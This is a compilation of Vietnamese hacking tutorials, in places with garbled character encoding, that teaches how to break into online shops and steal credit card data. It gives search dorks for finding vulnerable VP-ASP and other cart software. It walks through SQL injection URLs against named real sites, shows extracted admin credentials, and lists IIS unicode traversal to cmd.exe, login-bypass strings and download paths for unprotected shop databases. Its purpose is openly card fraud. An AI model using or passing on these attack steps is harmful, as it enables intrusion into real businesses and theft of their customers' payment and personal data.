Professional Documents
Culture Documents
Noäi dung cuûa ebook: hai tutorials do hieupc vieát vaø moät vaøi tutorials khaùc do
anh em baèng höõu vieát, trong ñoù coù moät vaøi tutorials cuõ nhöng cuõng raát ñaùng
ñöôïc ñöa vaøo vôùi muïc ñích ñeå tham khaûo.
Hacking Credit Card Version 2.0 --- Written by Hieupc
shopdisplayproducts.asp?cat='
Sau một thời gian dài TTD bị chia cắt đến nay, hieupc mới bắt đầu viết 1 tutorial về hack credit card mới và có lẽ đây
là tutorial cuối cùng đầy đủ nhất,được hieupc biên soạn và sưu tầm từ nhiều tutorial cũ đến mới vào 1 cái ebook và trả
lời những câu hỏi thắc mắc của các bạn và hieupc cũng ðã làm 1 bản Ebook hacking credit card.
Cách này cũng nhý những cách thông thường là khai thác theo l ỗi SQL và cũng có thể áp dụng cho 1 số lỗi khác như:
OLE DB, JET Database, ASP…
Býớc 1:
Khuyến cáo nên search shop ở www.google.com hoặc www.search.com vì mình thấy 2 site này rất very good.
Từ khoá nên dùng:
allinurl:”shopdisplayproducts.asp?id=
hoặc allinurl:”shopdisplayproducts.asp?cat=1 hoặc allinurl:”shopdisplayproducts.asp?cat=2……
Search shop theo Domain .com, .net , .biz…..:
allinurl:”.com/shopdisplayproducts.asp?cat=,allinurl:”.net/shopdisplayproducts.asp?cat=...
Ai biết chấm gì nữa thì thay vào :)
Khả năng lấy được credit card: là 99.9 % còn 0.1 % còn lại phụ thuộc vào cái đầu của bạn.
Xong phần search, bạn thu hoặch lại tất cả các shop bị lỗi và bắt ðầu hack.
Býớc 2:
http://www.victim.com/shopdisplayproducts.asp?id=5
http://www.victim.com/shopdisplayproducts.asp?id=5'
Xem nó có bị lỗi không nào, hic nó không bị lỗi, chỉ thấy thế này:
Home Improvement
Page 1 of 2
Không sao, chúng ta hãy bình tĩnh nhé, thay “ id “ bằng “ cat “ thử xem:
http://www.victim.com/shopdisplayproducts.asp?id=5'
-->>> http://www.victim.com/shopdisplayproducts.asp?cat=5'
Uh, nó lỗi ruì kìa:
5'
Microsoft JET Database Engine error '80040e14'
Okie, tiếp tục nhé, bạn sẽ thêm ðoạn code sau ðây vào:
'%20union%20%20select%201%20from%20tbluser"having%201=1--sp_password
http://www.victim.com/shopdisplayproducts.asp?id=5'
The number of columns in the two selected tables or queries of a union query do not match.
Chú ý nhé các bạn, cái dấu phẩy ( ` ) rất quan trọng, không có là không được.
http://www.victim.com/shopdisplayproducts.asp?id=5'%20union%20%20select%201,2,3,4%20from%
20tbluser"having%201=1--sp_password
Cứ thế mà tiếp tục cho ðến khi bạn thấy 1 cái bảng đẹp đẹp hiện ra với vài con số.
Ở ðây là tới số 47 :
http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,
fldusername,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
fldpassword,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20tbluser"having
%201=1--sp_password
3
click to see more 4
22
18
Please review these other products:
http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,
fldusername,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
fldpassword,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47%20from%20tbluser"having
%201=1--sp_password
Hoặc bạn có thể gộp chung fldusername và fldpassword vào 1 số cũng được.
http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,fldusername%2b'/'%
2bfldpassword,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,
40,41,42,43,44,45,46,47%20from%20tbluser"having%201=1--sp_password
Thử cái này nữa thử xem, may ra nó chạy đến link admin thì sao: http://www.victim.com/shopadmin1.asp , cũng
không được.
Cái này hieupc đã download cái source của VPASP về xem cấu trúc nó thế nào, và đã tìm ra cậu lệnh thế này, chẳng
qua là thay table thôi.
Ta biết table configuration là nơi chứa những thông quan trọng của shop như là link admin, afftemplateaffiliate,
afftemplateMerchant…..
'%20union%20%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,
42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password
http://www.valuevision.com.ph/shopdisplayproducts.asp?cat='%20union%20%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,
42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password
18
Please review these other products:
Lần này thì ta sẽ kiếm link admin, thường thì link admin nằm trong fieldvalue , vì thế ta sẽ đặt fieldvalue vào s ố 3,
hay 4, hay 22 tuỳ các bạn.
'%20union%20%20select%201,2,3,
fieldvalue,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
,42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password
http://www.victim.com/shopdisplayproducts.asp?cat='%20union%20%20select%201,2,3,
fieldvalue,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
,42,43,44,45,46,47%20from%20configuration"having%201=1--sp_password
Các bạn sẽ chẳng thấy link admin ở đâu hết toàn là mấy con số, lúc đầu hieupc cũng tưởng là mình làm sai cậu lệnh,
nhưng loay hoay 1 đỗi , kéo trang lên, kéo trang xuống, à thì ra có tới 10 trang.
Page 1 of 10
Chỉ cần để ý là các bạn thấy thôi, nói thêm là: mỗi một trang như vậy là chứa những thông tin có trong fieldvalue ,
các bạn cứ cố gắng view từng trang nhé, hieupc view hết 10 trang và thu thập được những link có đuôi là *.asp:
shopaddmoretocart.asp
shopcheckout.asp
shopdisplaycategories.asp
Nhất định 1 trong 3 link này là link admin login , hieupc đã thử hết 3 link và cái link đầu tiên là link admin
shopaddmoretocart.asp
http://www.victim.com/shopaddmoretocart.asp
This site is reserved for Shop Administrators only.
Administrator's Login
UserName :
Password :
Bây giờ lấy username và password ở trên để thay vào. Việc còn lại chắc các bạn biết.
Image Field
THE END
Hacking Credit Card Version 1.0 --- Written by Hieupc
Hack Shop VPASP thật sự là như thế nào?
( Cập nhật và được phát triển thêm từ nhiều bài viết hướng dẫn trước đây )
CÁCH THỨ 1: Cái này chắc có lẽ cũng có nhiều bạn biết, nếu mình đoán không lầm thě chỉ có 30 %-50 % member là
biết cách này, tuy nhiên mình cũng đưa lên đây cho các bạn chýa biết và các bạn đă biết rùi học hỏi thêm ở mình hoặc
góp ý thêm cho mình chỗ nào chưa hoàn chỉnh !
Cách này cũng như những cách thông th ường là khai thác theo l ỗi SQL và cũng có thể áp dụng cho 1 s ố lỗi khác như
OLE DB, JET Database, ASP…
Bước 1: Ðể tìm site bị lỗi kiểu này đòi hỏi bạn phải có nhiều kinh nghiệm tìm lỗi và search shop nh ư thế nào cho thật
là hiệu quả. Bước này cũng là bước quan trọng nhất vì không có shop lỗi làm sao hack :))
Khuyến cáo nên search shop ở www.google.com hoặc www.search.com vì mình thấy 2 site này rất very good.
Từ khoá nên dùng:
allinurl:”shopdisplayproducts.asp?id=
hoặc allinurl:”shopdisplayproducts.asp?id=1 hoặc allinurl:”shopdisplayproducts.asp?id=2……
Search shop theo Domain .com, .net , .biz…..:
allinurl:”.com/shopdisplayproducts.asp?id= ; allinurl:”.net/shopdisplayproducts.asp?id=...
Ai biết chấm gì nữa thì thay vào :)
Xong phần search, bạn thu hoặch lại tất cả các shop bị lỗi và bắt ðầu hack.
Bây giờ mình lấy ví dụ shop này nhé:
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1
Oh, 1 em Uk cực ngon không biết có CC.
Bây giờ kiểm tra xem nó lỗi không bằng cách thêm vào dấu phẩy ( ` )
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1'
Oh site bị lỗi kìa các bạn :
Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'ccategory = 1' Order By specialOffer DESC,
cname'.
Bý?c 2:
%20union%20%20select%201%20from%20tbluser%27
Vào phía sau link shop nhớ bỏ luôn cái dấu phẩy sau ?id=1 nhé, nếu không là không được đâu đấy.
Khi thêm xong link sẽ như thế này:
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201%20from%
20tbluser%27
Oh không dụ gì đây :)
Products
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not
match.
Còn không biết qua bước 3 nữa, nhưng khoan các bạn hãy xem kinh nghiệm của mình đă khi thêm vào dấu phẩy ( ` )
mà nó hiện ra lỗi như vầy:
/product.asp, line 29
Thui bây giờ qua bước 3 nhé, nói nhiều quá :))
Sau khi đă hoàn thành bước 2, bạn sẽ bắt đầu 1 công việc thiêng liêng nhất và cũng là mệt mỏi nhất, không mệt đâu
chỉ uể oải 1 tí, đó là thêm số vào code:
1%20union%20%20select%201,2%20from%20tbluser%27
1%20union%20%20select%201,2,3%20from%20tbluser%27
1%20union%20%20select%201,2,3,4%20from%20tbluser%27………..
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2%20from%
20tbluser%27
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2,3%20from%
20tbluser%27
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2,3,4%20from%
20tbluser%27 ………… Cứ thêm số tiếp tục nhé, đừng nản lòng hãy cố lên.
Cho đến khi nó xuất hiện 1 cái bảng rất đẹp :))
Ái da, mỏi tay quá tới số 34 mới hiện ra cái bảng trời đánh này :))
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%
201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20from%20tbluser
%27
Đây là bước cuối cùng để lấy user and pass: những con số quan trọng của shop naỳ là : 3, 4 , 22.
http://www.carstereoinwales.co.uk/chris/shopdisplayproducts.asp?id=1%20union%20%20select%201,2,3,
fldusername,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,fldpassword,23,24,25,26,27,28,29,30,31,32,33,34%20from
%20tbluser%27
User: carste
pass: carste
Phần còn lại là tìm link admin để login, cái này cũng khá quan trọng vì không có link admin làm sao lấy CC :))
Chú ý: link admin để login mặc định của VPASP là : shopadmin.asp cũng có khi ta đánh shopadmin1.asp sẽ vào link
admin.
CÁCH HACK THỨ 2 RÚT RA TỪ BÀI HƯỚNG DẪN CỦA ANH HAI Silveryhat_Hacker :
http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153'
Bước 2 chắc các bạn biết, chỉ là lấy table thui, mình chỉ việc kiếm table nào chưá users của admin là okie.
http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in%20
('ver_Faq','coupons','customerprices','customers')))--sp_password
Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'AdminUsers' to a column of data
type int.
/shopping/shopdisplayproducts.asp, line 93
Tới đây là đã quá rõ, cái mình chính là table này : 'AdminUsers' vì sao vậy vì nó chưá user và pass chắc. Thui cứ khai
thác thử.
Code: %20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%
20where%20table_name=('AdminUsers')))--sp_password
http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')))--
sp_password
Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'AdminID' to a column of data type
int.
/shopping/shopdisplayproducts.asp, line 93
Và bước tiếp theo:
Code : %20and%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%
20where%20table_name=('AdminUsers')%20and%20column_name%20not%20in%20('AdminID')))--sp_password
http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')%20and
%20column_name%20not%20in%20('AdminID')))--sp_password
http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20column_name%20from%20information_schema.columns%20where%20table_name=('AdminUsers')%20and
%20column_name%20not%20in%20('AdminID','login','pwd')))--sp_password
Okie 2 thông tin quan trọng là 'login','pwd' đă xuất hiện giờ chỉ việc kiếm pass:
Code: %20and%201=convert(int,(select%20top%201%20login%2b'/'%2bpwd%20from%20AdminUsers))--
sp_password
ặc ặc shop củ khoai:
http://www.nelcoproducts.com/shopping/shopdisplayproducts.asp?id=153%20and%201=convert(int,(select%20top%
201%20login%2b'/'%2bpwd%20from%20AdminUsers))--sp_password
Products
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin/admin' to a column of data
type int.
/shopping/shopdisplayproducts.asp, line 93
Hic hic, user: admin , pass: admin ; đủ biết là shop này thằng admin nó ngu đến cỡ nào
Bây giờ kiếm link admin là nhiệm vụ của bạn.
TUTORIALS OF MY FRIENDS OR ORTHER AUTHORS
Tutorial ñöôïc vieát bôûi kidbandes
What you should look for? (Mục đích của việc tìm lỗi)
Tìm ra các trang cho phép bạn nhạp dữ liệu, ví dụ là login page, search page, .... Thỉnh thoảng, HTML page sử dụng
"Post" command để gởi thông số đến trang ASP khác. Vì vậy, bạn không thể thấy thông số trên thanh URL, và xem
"FORM" tag trong HTML code. Bạn có thể tìm vài thứ như đoạn code sau:
What if you can't find any page that takes input? Bạn làm gì nếu không tìm ðýợc trang nhập liệu nào ?
Bạn nên tìm kiếm trang nhý ASP, JSP, CGI, hay PHP. Cố gắng tìm các URL vói các thông số sau:
http://shopping.com/index.asp?id=10
How do you test if it is vulnerable? (Chúng ta kiểm tra lỗi như thế nào)
Bắt đầu với 1 dấu nháy đơn, thêm vào như sau: hi' or 1=1--
Nhập vào login hoặc password, hoặc ngay cả URL.
Nếu bạn làm như thế với 1 giá trị ẩn, phải download source HTML từ site, lưu vào đĩa cứng và chỉnh sửa URL và giá
trị ẩn. Ví dụ:
Nếu may mắn thì trên site của bạn, bạn sẽ lấy được đăng nhập nhng không co tên đãng nhập và mật mã
Chúng ta xem 1 ví dụ khác tại sao ' or 1=1-- lại quan trọng. Khác với việc vượt đăng nhập, nó có thể xem nhiều dữ liệu
hơn là với các thông tin thông thường. Lấy 1 trang ASP bạn sẽ thấy cái link như sau:
http://shopping.com/index.asp?category=food
Trong URL, 'category' là 1 tên biến, và 'food' là giá trị gán cho biến ðó. Trong trường
hợp ðó, 1 trang ASP có thể chứa các đoạn code sau (OK, đây là ðoạn code được viết ra cho bài viết này):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr
Như chúng ta thấy, biến sẽ có giá trị v_cat bên trong và vì vậy câu lệnh SQL sẽ trở thành:
Câu lệnh truy vấn trên sẽ đưa ra tất cả các giá trị với điều kiện là field PCategory là 'food'.
http://shopping.com/index.asp?category=food' or 1=1--
Bây giờ, giá trị của v_cat sẽ là "food' or 1=1-- ", nếu chúng ta chuyển ðổi thành câu lệnh SQL, chúng ta sẽ có:
Câu truy vấn sẽ lọc ra các giá trị trong cột PCategory vói các giá trị là 'food'. Dấu "--" sẽ bỏ qua các truy vấn của
MSSQL . Thỉnh thoảng chúng ta cũng có thể sử dụng dấu "#".
Tuy nhiên, nếu hệ thống không co MSSQL hoặc chỉ đơn giản la truy vấn bình thường ta chỉ cần sử dụng
or 'a'='a
Phụ thuộc vào câu truy vấn, ta sử dụng các giá trị sau:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
How do I get remote execution with SQL injection? (Phương pháp để thực thi lệnh từ xa với SQL)
Để có thể inject(nhập thêm) 1 lệnh SQL, chúng ta có thể thực hiện lệnh. Cài đặt mặc ðịnh trên MS SQL chạy dưới
quyền SYSTEM, là user với quyền truy cập Aministrator. Chúng ta có thể sử dụng để lưu trữ master..xp_cmdshell thực
hiện lệnh từ xa:
Hai dấu trừ ở cuối dòng lệnh cho phép thực hiện một lệnh SQL mới. Ðể kiểm tra rằng câu lệnh này thực hiện được,
bạn có thể lắng nghe các gói tin ICMP từ 10.10.1.2, kiểm tra bất kỳ gói tin nào từ server:
#tcpdump icmp
Nếu bạn không nhận ðýợc bất kỳ gói tin từ server, và nhận 1 thông báo lỗi là không ðýợc quyền, thì có thể
Administrator đã giới hạn quyền người dùng truy cập vào hệ thống.
How to get output of my SQL query?(Phýõng pháp Lấy kết quả từ câu truy vẫn SQL)
Nếu có thể, bạn sử dụng sp_makewebtask để viết câu truy vấn thành câu lệnh HTML:
Nhưng địa chỉ IP phải có thư mục được share cho tất cả mọi người
How to get data from the database using ODBC error message (Phương pháp Lấy dữ liệu từ CSDL sử dụng lỗi ODBC)
Chúng ta sử dụng thủ tục bị lỗi trong Server MS SQL để thực hiện lệnh. Xem ví dụ sau:
http://shopping.com/index.asp?id=10
Chúng ta cố gắng kết hợp UNION trong '10' với 1 câu lệnh khác:
Bảng hệ thống INFORMATION_SCHEMA.TABLES chứa thông tin của tất cả các bảng trong hệ thống.
TABLE_NAME field chứa tất cả các tên của bảng trong hệ thống. Nó luôn luôn tồn tại theo cách mặc định. Câu truy
vấn sẽ là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Ðiều này se trả về bảng đầu tiên trong bảng INFORMATION_SCHEMA_TABLES. Khi chúng ta UNION giá trị này
với số nguyên 10, MS SQL Server sẽ cố gắng chuyển đổi giá trị chuỗi (nvarchar) thành 1 số nguyên. Thủ tục này bị
lỗi, bởi vì không thể thục hiện chuyển đổi từ nvarchar thành int. Server sẽ xuất hiện lỗi sau:
Thông báo lỗi đủ để biết được là không thể chuyển ðổi giá trị chuỗi thành số. Trong trường hợp này, chúng ta có thể
lấy được tên table đầu tiên là "table1".
Output:
Giá trị trong phù hợp, '%25login%25' sẽ được xem nhý là %login% trong SQL Server. Trong trường hợp này, ta có thể
lấy tên đầu tiên trong table có giá trị phù hợp là, "admin_login".
How to mine all column names of a table? (Cách lấy tất cả tên cột trong table)
Chúng ta có thể sử dụng table khác INFORMATION_SCHEMA.COLUMNS để ánh xạ tất cả các cột của table:
Output:
Bây giờ chúng ta có cột đầu tiên trong table, chúng ta sử dụng NOT IN () để lấy cột tiếp theo:
Output:
Khi chúng ta tiếp tục có thể sẽ thu được một số cột cần thiết như là "password", "details". Chúng ta sẽ biết được nội
dung khi sử dụng câu truy vấn sau:
Quote:
http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT
IN ('login_id','login_name','password',details')--
Output:
Quote:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement
contains a UNION operator.
/index.asp, line 5
How to retrieve any data we want? (phương pháp lấy tất cả dữ liệu mình muốn)
Bây giờ chúng ta sẽ xem xét 1 số table quan trọng, và các field của nó, Chúng ta cũng sử dụng cùng kỹ thuật trên ðể
lấy dữ liệu cần thiết trong CSDL .
Bây giờ chúng ta lấy giá trị đầu tiên trong cột login_name từ bảng "admin_login":
Tên của user admin là "kidbandes". Cuối cùng chúng ta lấy thêm password của "kidbandes" trong CSDL
Output:
bây giờ chúng ta có thể đãng nhập với tên "kidbandes" và password "lovethu".
How to get numeric string value? (phương pháp lấy giá trị chuỗi số
Có 1 sự giới hạn trong kỹ thuật ở trên. Chúng ta không thể lấy được bất kỳ câu lệnh lỗi nào nếu chúng ta chuyển đổi
kiểu chuỗi thành bất kỳ kiểu số nào (các ki tự 0-9). Chúng ta cố gắng lấy password của "kimthu" mà nó là số
"123456":
Thông thường chúng ta sẽ nhập được thông báo là "Page Not Found". Nguyên nhân ở đây là password của "kimthu" là
"123456" sẽ không thể chuyển đổi, trước UNION với 1 số (10 in this case). bới vì đây là 1 câu lệnh UNION đúng,
SQL server sẽ không quãng lỗi ODBC, và vì vậy chúng ta sẽ không thể lấy được thông báo lỗi.
Ðể giải quyết vấn đề này, Chúng ta có thể dùng một ki tu chuỗi để làm cho câu lệnh truy vấn lỗi. Chúng ta cố gắng
thực hiện câu truy vấn sau:
Chúng ta sử dụng dấu (+) để kết hợp password với 1 giá trị chuỗi mà chúng ta muốn. (ASSCII code for '+' = 0x2b).
Chúng ta sẽ kết hợp với '(space)morpheus' thành 1 password thực. Vì vậy, ngay cả với password là một chuỗi số
'123456', Nó cũng sẽ trở thành '123456 anhyeuem' bằng cách ðõn giản gọi lệnh convert(), sau đó cố gắng chuyển đổi
'123456 anhyeuem' thành 1 số, SQL Server sẽ xuất hiện lỗi ODBC:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '123456 anhyeuem' to
a column of data type int.
/index.asp, line 5
How to update/insert data into the database? (phương pháp Update/Insert dữ liệu vào CSDL)
Khi chúng ta thành công trong việc thu thập thông tin từ CSDL, ðiều này có nghĩa chúng ta có thể UPDATE hoặc ngay
cả INSERT một record mới trong table. Ví dụ chúng ta có thể thay password của "kidbandes":
Bây giờ chúng ta có thể đăng nhập với "kidbandes2" và password "lovethu".
Tiến hành:
Lên http://google.com.vn/ Search với từ khóa "Powered by DUpaypal -siteduware.com"
bạn sẻ thấy rất nhiều site dính Bug này, Chọn victim để test nào
ở đây kieptinhchung chọn cái này:
http://www.xcel-leadership.com/sermon/deta...ro=147&iType=18
bi giờ thêm vào sau Nó :
../_private/DUpaypal.mdb
để Dowload file chứa thông tin về U/P của Admin về , tức là ta sẻ dùng link sau để dowload nó:
http://www.xcel-leadership.com/sermon/_private/DUpaypal.mdb
sau khi dowload về bạn sẻ xem Nó dưới dạng Accees, tìm phần User và lấy user+pass đăng nhập
thật dễ dàng , như vậy là bạn đã làm chủ Shop đó roài đó.
TUTORIAL BY HCEGROUP
I-Lỗi Tek9.asp :
Kết quả : Bạn tìm các trang web hiện lên , ví dụ làhttp://198.170.250.68/ tek9_login.asp
http://198.170.250.68/intranet/tek9_login.asp
Được gì ? Bạn vào trang đăng nhập của người quản trị.
Sau đó ? Bạn tự tìm hiểu vì mỗi trang có 1 sự trình bày hơi khác nhau. Trang trên cho phép bạn quản lý thông số ,
kiểu , cách thức và vài chỗ có liên quan đến cơ sở dữ liệu chứa thẻ tín dụng. Ngòai ra bạn có thể tìm lệnh Find orders
để truy tìm khu vực chức thẻ.
============================
Kết quả : Chạy các trang web có tập tin cart32.exe . Bạn sẽ nhận được 1 số thông tin
http://www.connectionsmall.com/scripts/cart32.exe/
..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\
II)
..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
III)
..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\
Ví dụ :
http://www.connectionsmall.com/scripts/..À¯..À¯..À¯..À¯../winnt/system32/cmd.exe?/c+dir+c:\
-Nếu không chuyện gì xảy ra thì bạn thêm dòng địa chỉ sau vào cuối cùng để lấy thẻ tín dụng :
\progra~1\MWAInc\Cart32\
2814659000-001001.c32
2814659000-001002.c32
2814659000-001003.c32
-Bây giờ tất những gì cần phải làm là bạn thêm 1 trong ba hoặc thử thì dùng từng cái vào cuối địa chỉ trên. Sau cùng ta
sẽ có giống như thế này :
http://www.connectionsmall.com/scripts/..À¯..À¯..À¯..À¯../winnt/system32/cmd.exe?/c+dir+c:\progra~1\MWAInc
\Cart32\2814659000-001001.c32
============================
III-Lỗi Commerce.cgi
http://www.warresisters.org/store/commerce.cgi
Ví dụ :
http://www.warresisters.org/store/admin_files/commerce_user_lib.pl
Bạn sẽ nhận được 1 số thông tin :
$sc_sales_tax = ".0825";
$sc_sales_tax_state = "NY";
$sc_send_order_to_email = "yes";
$sc_order_log_name = "onlinebookstore.log";
$sc_send_order_to_log = "yes";
$shipping_percentage = ".15";
$sc_order_email = "wrl\@igc.org";
$sc_root_url = "http://www.warresisters.org/store";
$sc_admin_email = "lit\@warresisters.org";
$sc_domain_name_for_cookie = ".warresisters.org";
$sc_order_script_url = "https://secure.serve.com/resist/store/commerce.cgi";
$sc_root_web_path = "/home/serve/resist/Html/Products";
$sc_path_for_cookie = "/store";
$path_to_html = "../Html";
1;
Sau đó
Xóa cái commerce_user_lib.pl đi thay bằng dòng chữ tìm ở $sc_order_log_name và ....
============================
III-Lỗi shopdisplaycategories
Kết quả : Trong link các trang bị lỗi , bạn thay shopdisplaycategories.asp thành shopdbtest.asp
Được gì ? Bạn biết được đường dẫn để tải cơ sở dữ liệu Thẻ Tín Dụng
Sau đó : Thay shopdbtest.asp bằng phần trả lời của xdatabase ( bạn tìm ở phía trên )
============================
IV-Lỗi SQL Injection
Kết quả : Bạn vào trang bị lỗi , đăng nhập với Username và Password là 'or''='
Được gì ? Bây giờ bạn nắm mọi họat động quản lý của website trong vai Admin
============================
IV-Lỗi datasources
Được gì ? Từ đây bạn thêm vào expire.mdb vào sau datasources/ hay config/datasources/
rồi search đại một shop giả sử như thế này : www.cvhint.com/shopdisplayproducts.áp?id=1
Rồi khi thêm dấu ' vào nó không ra lỗi thì làm thế nào.Trùi không lẽ nó không có lỗi.
Thử là biết ngay thôi.Ta thay cái link khác thử xem sao.Trong vd này tôi thay cái shopdisplayproducts.asp?id=1 =
shoptellafriend.asp.asp?id=1
và thêm dấu ' lại xem sao.OOOOOOh lỗi kìa.Good.
+ Vâng hiểu về SQL-Ịnect đơn giản là chỉ có vậy tôi sẽ phân tích tiếp việc khai thác lỗi đó như thế nào , và mỗi người
đều có những cách xử lý riêng
VD :
http://www.xxx.com/item.asp?item_id=1
http://www.xxx.com/item.asp?item_id=1'
Nếu thấy hiển thị lỗi :có dạng vd như thế này :
CODE
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95
Thì trang web này bị SQL-Inject chúng ta có thể hoàn toàn khai thác được thông qua việc "Hỏi Đáp" -->
Nhiều bạn khi test thấy lỗi như vậy liền dùng câu lệnh lấy hết các bảng , cột trong data:
http://www.xxx.com/item.asp?item_id=1%2bco...hema.tables))--
C:\INETPUB\WWWROOT\xxx\INCLUDE\../lib/dblib.asp, line 95
'T005_CC_PACKAGES' chính là 1 bảng trong data . Nếu muốn lấy tên bảng tiếp theo ta chỉ việc
tiếp tục cho đến khi nào hiện thông báo : Invalid item thì là hết table đó
Muốn lấy tên cột trong bảng thì làm như sau :
http://www.xxx.com/item.asp?item_id=1%2bco...n_schema.colums where table_name='tên bảng'))--
http://www.ackits.com/ProductCart/pc/msg.asp?
Xóa tất cả từ sau ProductCart đi gữ lại đoạn nàyhttp://www.ackits.com/ProductCart/ sau đó thêm vào sau database/
EIPC.mdb sẽ thànhhttp://www.ackits.com/ProductCart/database/EIPC.mdb đến lúc này ta sẽ download được file .mdb
về sau khi download về rùi thì chắc mọi người biết phải làm gì rồi chứ
................................................
Lỗi Cart32.exe:
vào google.com ,search từ khóa "Cart32.exe v3"đầu tiên vàohttp://www.sitename.com/cgi-bin/cart32.exe/sitename
Lấy Credit Cards :http://www.sitename.com/cgi-bin/cart32/sitename-ORDERS.txt
hoặc :http://www.sitename.com/cgi-bin/cart32/sitename-OUTPUT.txt
Hack CC thông qua lỗi SalesCart Database Storage Insecurity:
Tổng quát: Lỗi này thực chất là dữ liệu của các chương trình mua bán không được bảo mật, mã hóa hay cất giữ cẩn
thận nên bạn hoàn toàn có thể lấy chúng một cách dễ dàng
Lưu ý: đôi khi với thực tế, 1 số link có thể khác đi, không phải lúc nào cũng hoàn toàn đúng, dữ liệu có khi bao gồm cả
CRD (Credit Card) nên mọi việc phải qua proxy (nếu không có proxy thì có thể ra dịch vụ...)
Khai thác: Hãy sử dụng 1 trong những link sau:
www.victim.com/fpdb/shop.mdb
www.victim.com/shoponline/fpdb/shop.mdb
www.victim.com/database/metacart.mdb
www.victim.com/shopping/database/metacart.mdb
www.victim.com/shop/database/metacart.mdb
www.victim.com/metacart/database/metacart.mdb
www.victim.com/mcartfree/database/metacart.mdb
www.victim.com/ASP/cart/database/metacart.mdb
Ví dụ: site84vn.com có thể download cc từ đây:www.84vn.com/database/metacart.mdb
Có nghĩa là database không hề có 1 chút bảo mật nào cả. Download vô tư ! Trong database có thể bao gồm: name,
surname, address, e-mail, phone number, credit card number, company name.....
Bạn có thể khai thác dữ liệu này, nhưng trong thực tế, mọi việc không phải lúc nào cũng suôn sẻ cả, bạn hãy tưởng
tượng mỗi server có một cấu trúc riêng, ví dụ như đường dẫn không phải lúc nào cũng là fpdb/... hay như những link
